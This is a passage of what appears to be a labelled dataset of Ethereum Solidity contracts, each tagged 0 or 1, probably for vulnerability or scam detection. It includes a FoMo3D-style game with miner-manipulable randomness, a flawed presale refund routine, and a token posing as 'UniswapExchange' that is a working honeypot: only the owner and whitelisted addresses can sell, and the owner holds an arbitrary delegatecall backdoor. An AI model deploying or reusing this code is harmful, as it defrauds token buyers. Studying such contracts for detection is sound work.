function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = RatBook.getPlayerID(msg.sender);
bytes32 _name = RatBook.getPlayerName(_pID);
uint256 _laff = RatBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _winPID = round_.plyr;
uint256 _pot = round_.pot + airDropPot_;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(RatKingCorp).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_gen = _gen.add(_com);
_com = 0;
}
round_.mask = _ppt.add(round_.mask);
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask);
}
}
function updateTimer(uint256 _keys)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += _aff;
}
if (!address(RatKingCorp).call.value(_com)(bytes4(keccak256("deposit()"))))
{
}
return(_eventData_);
}
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_.pot = _pot.add(_dust).add(round_.pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask);
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
(msg.sender == 0x20C945800de43394F70D789874a4daC9cFA57451 || msg.sender == 0x83c0Efc6d8B16D87BFe1335AB6BcAb3Ed3960285),
"only owner can activate"
);
require(activated_ == false, "ratscam already activated");
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface RatInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface RatBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 1,127 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,182 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CellBlocksToken is EIP20Interface, Ownable {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
function CellBlocksToken() public {
balances[msg.sender] = 3*(10**26);
totalSupply = 3*(10**26);
name = "CellBlocks";
decimals = 18;
symbol = "CLBK";
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
if (totalSupply > (10**26) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(msg.sender, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
if (totalSupply > (10**26) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(_from, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function halfPercent(uint _value) private pure returns(uint amount) {
if (_value > 0) {
uint temp = SafeMath.mul(_value, 5);
amount = SafeMath.div(temp, 1000);
if (amount == 0) {
amount = 1;
}
}
else {
amount = 0;
}
return;
}
function burn(address burner, uint256 _value) public {
require(_value <= balances[burner]);
if (_value > 0) {
balances[burner] = SafeMath.sub(balances[burner], _value);
totalSupply = SafeMath.sub(totalSupply, _value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
event Burn(address indexed burner, uint256 value);
} | 0 | 1,778 |
pragma solidity ^0.8.9;
interface NooneInterface {
struct PaymentTo {
address addr;
uint256 percentage;
}
event PaymentToChanged(PaymentTo[] payTo);
function paymentTo(uint256 index)
external
view
returns (PaymentTo memory);
function paymentToCount() external view returns (uint256);
event Paid(uint256 amount, address sender);
function pay() external;
}
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.9;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.9;
contract NooneRnD is NooneInterface, Ownable {
mapping(address => bool) public isCallData;
mapping(uint256 => PaymentTo) private paymentTo_;
function paymentTo(uint256 index)
external
view
override
returns (PaymentTo memory)
{
return paymentTo_[index];
}
uint256 public override paymentToCount;
function addArrayToMapping(PaymentTo[] memory array) private {
paymentToCount = array.length;
for (uint256 i; i < array.length; i++) {
paymentTo_[i] = array[i];
}
}
function SetPaymentTo(PaymentTo[] calldata toPayTo)
external
onlyOwner
{
if (paymentToCount != 0) pay();
uint256 totalPercentage = 0;
for (uint256 i; i < toPayTo.length; i++) {
totalPercentage += toPayTo[i].percentage;
}
require(totalPercentage == 100, "Percentage must be 100");
addArrayToMapping(toPayTo);
emit PaymentToChanged(toPayTo);
}
function setisCallData(address _address, bool onoff) external onlyOwner {
isCallData[_address] = onoff;
}
function pay() public override {
require(paymentToCount != 0, "No addresses to distribute set");
if (address(this).balance == 0) return;
uint256 totalBalance = address(this).balance;
for (uint256 i; i < paymentToCount; i++) {
address to = paymentTo_[i].addr;
uint256 amount = totalBalance * paymentTo_[i].percentage / 100;
if (isCallData[to]) {
payable(to).call{value: amount}("a");
}
else {
payable(to).call{value: amount}("");
}
}
emit Paid(totalBalance, _msgSender());
}
receive() external payable {}
} | 1 | 3,441 |
pragma solidity ^0.4.18;
contract ElementhToken {
bool public mintingFinished = false;
function mint(address _to, uint256 _amount) public returns (bool) {
if(_to != address(0)) mintingFinished = false;
if(_amount != 0) mintingFinished = false;
return true;
}
function burn(address _to, uint256 _amount) public returns (bool) {
if(_to != address(0)) mintingFinished = false;
if(_amount != 0) mintingFinished = false;
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
mapping(address => bool) internal owners;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public{
owners[msg.sender] = true;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function addOwner(address newAllowed) onlyOwner public {
owners[newAllowed] = true;
}
function removeOwner(address toRemove) onlyOwner public {
owners[toRemove] = false;
}
function isOwner() public view returns(bool){
return owners[msg.sender] == true;
}
}
contract PreFund is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public deposited;
mapping (address => uint256) public claimed;
ElementhToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
bool public refundEnabled;
event Refunded(address indexed beneficiary, uint256 weiAmount);
event AddDeposit(address indexed beneficiary, uint256 value);
event LogClaim(address indexed holder, uint256 amount);
function setStartTime(uint256 _startTime) public onlyOwner{
startTime = _startTime;
}
function setEndTime(uint256 _endTime) public onlyOwner{
endTime = _endTime;
}
function setWallet(address _wallet) public onlyOwner{
wallet = _wallet;
}
function setRate(uint256 _rate) public onlyOwner{
rate = _rate;
}
function setRefundEnabled(bool _refundEnabled) public onlyOwner{
refundEnabled = _refundEnabled;
}
function PreFund(uint256 _startTime, uint256 _endTime, address _wallet, ElementhToken _token) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_wallet != address(0));
require(_token != address(0));
token = _token;
startTime = _startTime;
endTime = _endTime;
wallet = _wallet;
refundEnabled = false;
}
function () external payable {
deposit(msg.sender);
}
function addFunds() public payable onlyOwner {}
function deposit(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
deposited[beneficiary] = deposited[beneficiary].add(msg.value);
uint256 weiAmount = msg.value;
AddDeposit(beneficiary, weiAmount);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function forwardFunds() onlyOwner public {
require(now >= endTime);
wallet.transfer(this.balance);
}
function claimToken() public {
require (msg.sender != address(0));
require (now >= endTime);
require (deposited[msg.sender] > 0);
require (claimed[msg.sender] == 0);
uint tokens = deposited[msg.sender] * rate;
token.mint(msg.sender, tokens);
claimed[msg.sender] = tokens;
LogClaim(msg.sender, tokens);
}
function refundWallet(address _wallet) onlyOwner public {
refundFunds(_wallet);
}
function claimRefund() public {
refundFunds(msg.sender);
}
function refundFunds(address _wallet) internal {
require(_wallet != address(0));
require(deposited[_wallet] > 0);
if(claimed[msg.sender] > 0){
require(now > endTime);
require(refundEnabled);
token.burn(_wallet, claimed[_wallet]);
claimed[_wallet] = 0;
} else {
require(now < endTime);
}
uint256 depositedValue = deposited[_wallet];
deposited[_wallet] = 0;
_wallet.transfer(depositedValue);
Refunded(_wallet, depositedValue);
}
} | 1 | 2,295 |
pragma solidity ^ 0.4.25;
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function transfer(address to, uint value) returns(bool ok);
function transferFrom(address from, address to, uint value) returns(bool ok);
function approve(address spender, uint value) returns(bool ok);
function allowance(address owner, address spender) constant returns(uint);
event Transfer(address indexed from, address indexed to, uint value);
